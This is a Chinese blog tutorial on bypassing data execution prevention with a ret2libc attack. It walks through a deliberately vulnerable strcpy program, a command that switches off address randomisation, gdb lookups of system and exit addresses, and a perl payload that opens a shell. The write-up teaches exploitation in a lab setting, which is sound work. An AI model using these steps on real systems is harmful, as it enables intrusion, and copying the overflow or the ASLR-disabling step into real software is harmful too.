使用ret2libc攻击方法绕过数据执行保护

版权声明:本文为博主原创文章,承蒙转载请注明作者和出处 https://blog.csdn.net/linyt/article/details/43643499

前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷。


数据执行保护机制


DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性。DEP特性需要硬件页表机制来提供支持。
X86 32位架构页表上没有NX(不可执行)位,只有X86 64位才支持NX位。 所以Window XP和Window 2003在64位CPU直接使用硬件的NX位来实现;而32位系统上则使用软件模拟方式去实现。

Linux在X86 32位CPU没有提供软件的DEP机制,在64位CPU则利用NX位来实现DEP(当前Linux很少将该特性说成DEP)。

DEP就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,进而杀死进程。栈空间也被操作系统设置了不可执行属性,因此注入的Shellcode就无法执行了。

DEP破解方法——ret2libc


“魔高一尺,道高一丈”这句话有时候是否可以反过来说呢? 因为攻和防都是相互发展,如果没有了攻,就没有安全机制的发展。
既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那攻击者能否利用进程空间现有的代码段进行攻击,答案是肯定的。

前面介绍了本地shellcode的编写,它的功能是通过execve执行/bin/sh,那么系统函数库(Linux称为glibc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system来实现Shellcode的功能。EIP一旦改写成system函数地址后,那执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。噢,栈空间完全由我们控制了,所以控制system的函数不是一件难事情。

这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。

构建栈结构


首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示:




观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的址,让程序默默地退出。

因此,攻击注入的结构是:

AxN + system_addr + exit_addr + arg

system函数的参数使用什么好呢?Linux里面有个环境变量SHELL,我们只要将这个环境变的地址找出来,就把它传给system。

漏洞代码和编译过程


这里我们还是使用前面介绍 ret2reg攻击方法的例法,但为了避免冲突,将程序命名stack3.c

#include <stdio.h>    
#include <string.h>    
    
void evilfunction(char *input) {    
    
    char buffer[512];    
    strcpy(buffer, input);    
}    
    
int main(int argc, char **argv) {    
    
    evilfunction(argv[1]);    
    
    return 0;    
}

编译:

$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32

请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。

同时需要禁用地址随机化功能:

echo 0 > /proc/sys/kernel/randomize_va_space

对准EIP,查找system、exit和shell地址


对准EIP方法和前面的完全一样,首先以512个A,追加"BBBB",然后每次增加 4个A,真到生成core,EIP被注入为"BBBB":

$ ./stack3 $(perl -e 'printf "A"x524 . "BBBB"')

$ gdb ./stack3 core -q
Reading symbols from /home/ivan/exploit/stack3...done.
[New LWP 4230]


warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e5de80 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7e51b60 <exit>

从core文件中看到,EIP被注入了BBBB。 system和exit函数地址分别是: 0xf7e5de80和0xf7e51b60

进程的环境变量在主线程的函数栈内,从ESP开始,查看所有的字符串,直到出现"shell="这样的字符串:

(gdb) x/10000s $esp
...
0xffffd8d4:      "TERM=xterm"
0xffffd8df:      "SHELL=/bin/bash"
0xffffd8ef:      "XDG_SESSION_COOKIE=683746df204edbe2ecd15fe600000009-1423391629.102085-1828669590"
0xffffd940:      "SSH_CLIENT=192.168.0.155 4082 22"
0xffffd961:      "SSH_TTY=/dev/pts/3"

发现0xffffd8df有"SHELL=/bin/bash"环境变化,直接提取字符串:

(gdb) x/s 0xffffd8df + 6
0xffffd8e5:      "/bin/bash"

ok,system, exit和字符串地址都清楚了,那构造攻击内容为:

Ax524 + "\x80\xde\xe5\xf7" + "\x60\x1b\xe5\xf7" + "\xe5\xd8\xff\xff"

测试


$ ./stack3 $(perl -e 'printf "A"x524 . "\x80\xde\xe5\xf7" . "\x60\x1b\xe5\xf7" . "\xe5\xd8\xff\xff"')
bash-4.2$ 

成功打开了一个bash。

小结


本文介绍ret2libc攻击方法,可以绕过栈执行保护安全机制。ret2libc攻击方法精要在于返回到系统库函数执行,但在栈上控制参数。

没有更多推荐了,返回首页